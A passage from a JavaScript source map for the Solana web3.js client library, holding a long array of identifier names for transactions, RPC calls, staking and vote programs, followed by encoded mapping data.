extSlot","_message","_json","hasOwnProperty","call","minContextSlot","blockhash","nonceInstruction","signers","add","items","compileMessage","JSON","stringify","console","warn","accountMetas","includes","uniqueMetas","pubkeyString","uniqueIndex","x","sort","y","options","localeMatcher","usage","sensitivity","ignorePunctuation","numeric","caseFirst","localeCompare","feePayerIndex","payerMeta","unshift","signedKeys","unsignedKeys","indexOf","invariant","_compile","valid","every","pair","serializeMessage","getEstimatedFee","connection","getFeeForMessage","setSigners","seen","Set","uniqueSigners","signer","_partialSign","partialSign","_addSignature","addSignature","sigpair","verifySignatures","requireAllSignatures","signatureErrors","_getMessageSignednessErrors","errors","missing","invalid","config","sigErrors","errorMessage","p","join","_serialize","signatureCount","transactionLength","wireTransaction","keyObj","populate","sigPubkeyPair","some","TransactionMessage","decompile","compiledIx","compileToLegacyMessage","compileToV0Message","VersionedTransaction","defaultSignatures","encodedSignaturesLength","transactionLayout","serializedTransaction","serializedTransactionLength","signaturesLength","messageData","signerPubkeys","signerIndex","NUM_TICKS_PER_SECOND","DEFAULT_TICKS_PER_SLOT","NUM_SLOTS_PER_SECOND","MS_PER_SLOT","SYSVAR_CLOCK_PUBKEY","SYSVAR_EPOCH_SCHEDULE_PUBKEY","SYSVAR_INSTRUCTIONS_PUBKEY","SYSVAR_RECENT_BLOCKHASHES_PUBKEY","SYSVAR_RENT_PUBKEY","SYSVAR_REWARDS_PUBKEY","SYSVAR_SLOT_HASHES_PUBKEY","SYSVAR_SLOT_HISTORY_PUBKEY","SYSVAR_STAKE_HISTORY_PUBKEY","SendTransactionError","action","transactionMessage","logs","maybeLogsOutput","guideText","a","transactionLogs","transactionError","cachedLogs","getLogs","Promise","resolve","reject","getTransaction","then","tx","logMessages","catch","SolanaJSONRPCErrorCode","JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP","JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE","JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY","JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_NO_SNAPSHOT","JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX","JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE","JSON_RPC_SCAN_ERROR","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH","JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET","JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION","JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED","SolanaJSONRPCError","code","customMessage","name","sendAndConfirmTransaction","sendOptions","skipPreflight","preflightCommitment","commitment","maxRetries","sendTransaction","status","confirmTransaction","abortSignal","nonceAccountPubkey","nonceValue","sleep","ms","setTimeout","encodeData","allocLength","layoutFields","decodeData","FeeCalculatorLayout","nu64","NonceAccountLayout","NONCE_ACCOUNT_LENGTH","NonceAccount","authorizedPubkey","feeCalculator","fromAccountData","nonceAccount","encodeDecode","bigInt","bigIntLayout","src","toBigIntLE","toBufferLE","u64","SystemInstruction","decodeInstructionType","checkProgramId","instructionTypeLayout","typeIndex","ixType","SYSTEM_INSTRUCTION_LAYOUTS","decodeCreateAccount","checkKeyLength","lamports","space","Create","fromPubkey","newAccountPubkey","decodeTransfer","Transfer","toPubkey","decodeTransferWithSeed","TransferWithSeed","basePubkey","decodeAllocate","Allocate","accountPubkey","decodeAllocateWithSeed","base","AllocateWithSeed","decodeAssign","Assign","decodeAssignWithSeed","AssignWithSeed","decodeCreateWithSeed","CreateWithSeed","decodeNonceInitialize","InitializeNonceAccount","noncePubkey","decodeNonceAdvance","AdvanceNonceAccount","decodeNonceWithdraw","WithdrawNonceAccount","decodeNonceAuthorize","AuthorizeNonceAccount","newAuthorizedPubkey","SystemProgram","expectedLength","freeze","UpgradeNonceAccount","createAccount","params","transfer","BigInt","createAccountWithSeed","createNonceAccount","initParams","nonceInitialize","instructionData","nonceAdvance","nonceWithdraw","nonceAuthorize","allocate","QUEUE","CHUNK_SIZE","Loader","getMinNumSignatures","Math","ceil","chunkSize","addToQueue","process","base58","fetch","method","headers","substring","split","reverse","load","program","balanceNeeded","getMinimumBalanceForRentExemption","programInfo","getAccountInfo","executable","error","owner","dataLayout","array","transactions","bytesLength","bytesLengthPadding","_rpcEndpoint","REQUESTS_PER_SECOND","all","deployCommitment","finalizeSignature","context","currentSlot","getSlot","slot","round","Account","_publicKey","_secretKey","secretKeyBuffer","BPF_LOADER_DEPRECATED_PROGRAM_ID","BPF_LOADER_PROGRAM_ID","BpfLoader","elf","loaderProgramId","fastStableStringify","MINIMUM_SLOT_PER_EPOCH","trailingZeros","n","nextPowerOfTwo","EpochSchedule","slotsPerEpoch","leaderScheduleSlotOffset","warmup","firstNormalEpoch","firstNormalSlot","getEpoch","getEpochAndSlotIndex","epoch","epochLen","getSlotsInEpoch","slotIndex","normalSlotIndex","normalEpochIndex","floor","getFirstSlotInEpoch","pow","getLastSlotInEpoch","globalThis","RpcWebSocketClient","CommonClient","generate_request_id","webSocketFactory","url","rpc","createRpc","autoconnect","max_reconnects","reconnect","reconnect_interval","underlyingSocket","socket","readyState","notify","LOOKUP_TABLE_META_SIZE","AddressLookupTableAccount","isActive","U64_MAX","deactivationSlot","accountData","LookupTableMetaLayout","serializedAddressesLen","numSerializedAddresses","lastExtendedSlot","lastExtendedSlotStartIndex","lastExtendedStartIndex","authority","URL_RE","makeWebsocketUrl","endpoint","matches","match","hostish","portWithColon","rest","protocol","startsWith","startPort","parseInt","websocketPort","PublicKeyFromString","coerce","instance","string","RawAccountDataResult","tuple","literal","BufferFromRawAccountData","BLOCKHASH_CACHE_TIMEOUT_MS","assertEndpointUrl","putativeUrl","test","extractCommitmentFromConfig","commitmentOrConfig","specifiedCommitment","specifiedConfig","applyDefaultMemcmpEncodingToFilters","filters","memcmp","encoding","createRpcResult","result","union","pick","jsonrpc","id","unknown","optional","any","UnknownRpcResult","jsonRpcResult","schema","create","jsonRpcResultAndContext","number","notificationResultAndContext","versionedMessageFromResponse","response","GetInflationGovernorResult","foundation","foundationTerm","initial","taper","terminal","GetInflationRewardResult","nullable","effectiveSlot","amount","postBalance","commission","GetRecentPrioritizationFeesResult","prioritizationFee","GetInflationRateResult","total","validator","GetEpochInfoResult","slotsInEpoch","absoluteSlot","blockHeight","transactionCount","GetEpochScheduleResult","boolean","GetLeaderScheduleResult","record","TransactionErrorResult","SignatureStatusResult","SignatureReceivedResult","VersionResult","ParsedInstructionStruct","parsed","PartiallyDecodedInstructionStruct","SimulatedTransactionResponseStruct","rentEpoch","unitsConsumed","returnData","innerInstructions","BlockProductionResponseStruct","byIdentity","range","firstSlot","lastSlot","createRpcClient","httpHeaders","customFetch","fetchMiddleware","disableRetryOnRateLimit","httpAgent","fetchImpl","agent","fetchWithMiddleware","info","init","modifiedFetchArgs","modifiedInfo","modifiedInit","clientBrowser","RpcClient","request","callback","body","COMMON_HTTP_HEADERS","too_many_requests_retries","res","waitTime","statusText","text","ok","createRpcRequest","client","createRpcBatchRequest","requests","batch","methodName","GetInflationGovernorRpcResult","GetInflationRateRpcResult","GetRecentPrioritizationFeesRpcResult","GetEpochInfoRpcResult","GetEpochScheduleRpcResult","GetLeaderScheduleRpcResult","SlotRpcResult","GetSupplyRpcResult","circulating","nonCirculating","nonCirculatingAccounts","TokenAmountResult","uiAmount","decimals","uiAmountString","GetTokenLargestAccountsResult","GetTokenAccountsByOwner","ParsedAccountDataResult","GetParsedTokenAccountsByOwner","GetLargestAccountsRpcResult","AccountInfoResult","KeyedAccountInfoResult","ParsedOrRawAccountData","ParsedAccountInfoResult","KeyedParsedAccountInfoResult","StakeActivationResult","active","inactive","GetConfirmedSignaturesForAddress2RpcResult","memo","blockTime","GetSignaturesForAddressRpcResult","AccountNotificationResult","subscription","ProgramAccountInfoResult","ProgramAccountNotificationResult","SlotInfoResult","parent","root","SlotNotificationResult","SlotUpdateResult","timestamp","stats","numTransactionEntries","numSuccessfulTransactions","numFailedTransactions","maxTransactionsPerEntry","SlotUpdateNotificationResult","SignatureNotificationResult","RootNotificationResult","ContactInfoResult","gossip","tpu","VoteAccountInfoResult","votePubkey","nodePubkey","activatedStake","epochVoteAccount","epochCredits","lastVote","rootSlot","GetVoteAccounts","current","delinquent","ConfirmationStatus","SignatureStatusResponse","confirmations","confirmationStatus","GetSignatureStatusesRpcResult","GetMinimumBalanceForRentExemptionRpcResult","AddressTableLookupStruct","ConfirmedTransactionResult","AnnotatedAccountKey","source","ConfirmedTransactionAccountsModeResult","ParsedInstructionResult","RawInstructionResult","InstructionResult","UnknownInstructionResult","ParsedOrRawInstruction","ParsedConfirmedTransactionResult","TokenBalanceResult","accountIndex","mint","uiTokenAmount","LoadedAddressesResult","ConfirmedTransactionMetaResult","fee","preBalances","postBalances","preTokenBalances","postTokenBalances","loadedAddresses","computeUnitsConsumed","ParsedConfirmedTransactionMetaResult","TransactionVersionStruct","RewardsResult","rewardType","GetBlockRpcResult","previousBlockhash","parentSlot","rewards","GetNoneModeBlockRpcResult","GetAccountsModeBlockRpcResult","GetParsedBlockRpcResult","GetParsedAccountsModeBlockRpcResult","GetParsedNoneModeBlockRpcResult","GetConfirmedBlockRpcResult","GetBlockSignaturesRpcResult","GetTransactionRpcResult","GetParsedTransactionRpcResult","GetRecentBlockhashAndContextRpcResult","lamportsPerSignature","GetLatestBlockhashRpcResult","IsBlockhashValidRpcResult","PerfSampleResult","numTransactions","numSlots","samplePeriodSecs","GetRecentPerformanceSamplesRpcResult","GetFeeCalculatorRpcResult","RequestAirdropRpcResult","SendTransactionRpcResult","LogsResult","LogsNotificationResult","Connection","_commitment","_confirmTransactionInitialTimeout","_rpcWsEndpoint","_rpcClient","_rpcRequest","_rpcBatchRequest","_rpcWebSocket","_rpcWebSocketConnected","_rpcWebSocketHeartbeat","_rpcWebSocketIdleTimeout","_rpcWebSocketGeneration","_disableBlockhashCaching","_pollingBlockhash","_blockhashInfo","latestBlockhash","lastFetch","transactionSignatures","simulatedSignatures","_nextClientSubscriptionId","_subscriptionDisposeFunctionsByClientSubscriptionId","_subscriptionHashByClientSubscriptionId","_subscriptionStateChangeCallbacksByHash","_subscriptionCallbacksByServerSubscriptionId","_subscriptionsByHash","_subscriptionsAutoDisposedByRpc","getBlockHeight","requestPromises","_buildArgs","requestHash","unsafeRes","wsEndpoint","confirmTransactionInitialTimeout","Infinity","on","_wsOnOpen","_wsOnError","_wsOnClose","_wsOnAccountNotification","_wsOnProgramAccountNotification","_wsOnSlotNotification","_wsOnSlotUpdatesNotification","_wsOnSignatureNotification","_wsOnRootNotification","_wsOnLogsNotification","rpcEndpoint","getBalanceAndContext","getBalance","e","getBlockTime","getMinimumLedgerSlot","getFirstAvailableBlock","getSupply","configArg","getTokenSupply","tokenMintAddress","getTokenAccountBalance","tokenAddress","getTokenAccountsByOwner","ownerAddress","_args","getParsedTokenAccountsByOwner","getLargestAccounts","arg","getTokenLargestAccounts","mintAddress","getAccountInfoAndContext","getParsedAccountInfo","getMultipleParsedAccounts","publicKeys","rawConfig","getMultipleAccountsInfoAndContext","getMultipleAccountsInfo","getStakeActivation","getProgramAccounts","configOrCommitment","configWithoutEncoding","baseSchema","withContext","getParsedProgramAccounts","strategy","rawSignature","aborted","reason","decodedSignature","confirmTransactionUsingLegacyTimeoutStrategy","confirmTransactionUsingBlockHeightExceedanceStrategy","confirmTransactionUsingDurableNonceStrategy","getCancellationPromise","signal","addEventListener","getTransactionConfirmationPromise","signatureSubscriptionId","disposeSignatureSubscriptionStateChangeObserver","done","confirmationPromise","onSignature","__type","PROCESSED","subscriptionSetupPromise","resolveSubscriptionSetup","_onSubscriptionStateChange","nextState","getSignatureStatus","abortConfirmation","removeSignatureListener","expiryPromise","checkBlockHeight","_e","currentBlockHeight","BLOCKHEIGHT_EXCEEDED","cancellationPromise","outcome","race","currentNonceValue","lastCheckedSlot","getCurrentNonceValue","getNonceAndContext","NONCE_INVALID","slotInWhichNonceDidAdvance","signatureStatus","commitmentForStatus","timeoutId","timeoutMs","TIMED_OUT","clearTimeout","getClusterNodes","getVoteAccounts","getSlotLeader","getSlotLeaders","startSlot","limit","getSignatureStatuses","getTransactionCount","getTotalSupply","excludeNonCirculatingAccountsList","getInflationGovernor","getInflationReward","getInflationRate","getEpochInfo","getEpochSchedule","epochSchedule","getLeaderSchedule","getRecentBlockhashAndContext","getRecentPerformanceSamples","getFeeCalculatorForBlockhash","wireMessage","getRecentPrioritizationFees","lockedWritableAccounts","getRecentBlockhash","getLatestBlockhash","getLatestBlockhashAndContext","isBlockhashValid","getVersion","getGenesisHash","getBlock","_buildArgsAtLeastConfirmed","transactionDetails","getParsedBlock","getBlockProduction","extra","c","getParsedTransaction","getParsedTransactions","getTransactions","getConfirmedBlock","block","getBlocks","endSlot","getBlockSignatures","getConfirmedBlockSignatures","getConfirmedTransaction","getParsedConfirmedTransaction","getParsedConfirmedTransactions","getConfirmedSignaturesForAddress","firstAvailableBlock","until","highestConfirmedRoot","before","confirmedSignatureInfo","getConfirmedSignaturesForAddress2","getSignaturesForAddress","getAddressLookupTable","accountInfo","getNonce","requestAirdrop","to","_blockhashWithExpiryBlockHeight","disableCache","timeSinceFetch","Date","now","expired","_pollNewBlockhash","startTime","cachedLatestBlockhash","cachedBlockhash","getStakeMinimumDelegation","simulateTransaction","transactionOrMessage","configOrSigners","includeAccounts","versionedTx","encodedTransaction","originalTx","sigVerify","traceIndent","logTrace","signersOrOptions","sendRawTransaction","rawTransaction","sendEncodedTransaction","setInterval","_updateSubscriptions","Number","MAX_SAFE_INTEGER","clearInterval","hash","_setSubscription","nextSubscription","prevState","stateChangeCallbacks","cb","clientSubscriptionId","close","log","connect","activeWebSocketGeneration","isCurrentConnectionStillActive","callbacks","serverSubscriptionId","unsubscribeMethod","_handleServerNotification","callbackArgs","notification","_makeSubscription","subscriptionConfig","existingSubscription","onAccountChange","removeAccountChangeListener","_unsubscribeClientSubscription","accountId","onProgramAccountChange","maybeFilters","removeProgramAccountChangeListener","onLogs","mentions","removeOnLogsListener","onSlotChange","removeSlotChangeListener","onSlotUpdate","removeSlotUpdateListener","subscriptionName","dispose","override","_err","onSignatureWithOptions","onRootChange","removeRootChangeListener","Keypair","keypair","_keypair","generate","fromSecretKey","skipValidation","computedPublicKey","ii","fromSeed","LOOKUP_TABLE_INSTRUCTION_LAYOUTS","CreateLookupTable","bigintLayout","FreezeLookupTable","ExtendLookupTable","DeactivateLookupTable","CloseLookupTable","AddressLookupTableInstruction","layoutType","decodeCreateLookupTable","checkKeysLength","recentSlot","decodeExtendLookupTable","decodeCloseLookupTable","recipient","decodeFreezeLookupTable","decodeDeactivateLookupTable","AddressLookupTableProgram","createLookupTable","lookupTableAddress","bumpSeed","freezeLookupTable","extendLookupTable","addr","deactivateLookupTable","closeLookupTable","ComputeBudgetInstruction","COMPUTE_BUDGET_INSTRUCTION_LAYOUTS","decodeRequestUnits","units","additionalFee","RequestUnits","decodeRequestHeapFrame","RequestHeapFrame","decodeSetComputeUnitLimit","SetComputeUnitLimit","decodeSetComputeUnitPrice","microLamports","SetComputeUnitPrice","ComputeBudgetProgram","requestUnits","requestHeapFrame","setComputeUnitLimit","setComputeUnitPrice","PRIVATE_KEY_BYTES","PUBLIC_KEY_BYTES","SIGNATURE_BYTES","ED25519_INSTRUCTION_LAYOUT","u16","Ed25519Program","createInstructionWithPublicKey","instructionIndex","publicKeyOffset","signatureOffset","messageDataOffset","numSignatures","padding","signatureInstructionIndex","publicKeyInstructionIndex","messageDataSize","messageInstructionIndex","createInstructionWithPrivateKey","privateKey","ecdsaSign","msgHash","privKey","secp256k1","toCompactRawBytes","recovery","isValidPrivateKey","publicKeyCreate","ETHEREUM_ADDRESS_BYTES","SIGNATURE_OFFSETS_SERIALIZED_SIZE","SECP256K1_INSTRUCTION_LAYOUT","Secp256k1Program","publicKeyToEthAddress","keccak_256","recoveryId","createInstructionWithEthAddress","ethAddress","rawAddress","substr","dataStart","ethAddressOffset","ethAddressInstructionIndex","pkey","messageHash","STAKE_CONFIG_ID","Authorized","staker","withdrawer","Lockup","unixTimestamp","custodian","_Lockup","StakeInstruction","STAKE_INSTRUCTION_LAYOUTS","decodeInitialize","Initialize","stakePubkey","decodeDelegate","Delegate","decodeAuthorize","newAuthorized","stakeAuthorizationType","Authorize","o","custodianPubkey","decodeAuthorizeWithSeed","authoritySeed","authorityOwner","AuthorizeWithSeed","authorityBase","decodeSplit","Split","splitStakePubkey","decodeMerge","Merge","sourceStakePubKey","decodeWithdraw","Withdraw","decodeDeactivate","Deactivate","StakeProgram","StakeAuthorizationLayout","Staker","Withdrawer","initialize","maybeLockup","delegate","authorize","authorizeWithSeed","splitInstruction","rentExemptReserve","splitWithSeed","merge","withdraw","deactivate","VoteInit","authorizedVoter","authorizedWithdrawer","VoteInstruction","VOTE_INSTRUCTION_LAYOUTS","decodeInitializeAccount","InitializeAccount","voteAuthorizationType","currentAuthorityDerivedKeyOwnerPubkey","currentAuthorityDerivedKeySeed","currentAuthorityDerivedKeyBasePubkey","authorizedWithdrawerPubkey","VoteProgram","UpdateValidatorIdentity","VoteAuthorizationLayout","Voter","initializeAccount","safeWithdraw","currentVoteAccountBalance","rentExemptMinimum","updateValidatorIdentity","VALIDATOR_INFO_KEY","InfoString","website","details","iconUrl","keybaseUsername","ValidatorInfo","fromConfigData","configKeyCount","configKeys","rawInfo","parse","assertType","VOTE_PROGRAM_ID","VoteAccountLayout","VoteAccount","votes","authorizedVoters","priorVoters","lastTimestamp","versionOffset","va","rootSlotValid","parseAuthorizedVoter","getPriorVoters","parsePriorVoters","epochOfLastAuthorizedSwitch","targetEpoch","idx","isEmpty","http","devnet","testnet","https","clusterApiUrl","cluster","tls","sendAndConfirmRawTransaction","confirmationStrategyOrConfirmOptions","maybeConfirmOptions","confirmationStrategy","LAMPORTS_PER_SOL"],"mappings":"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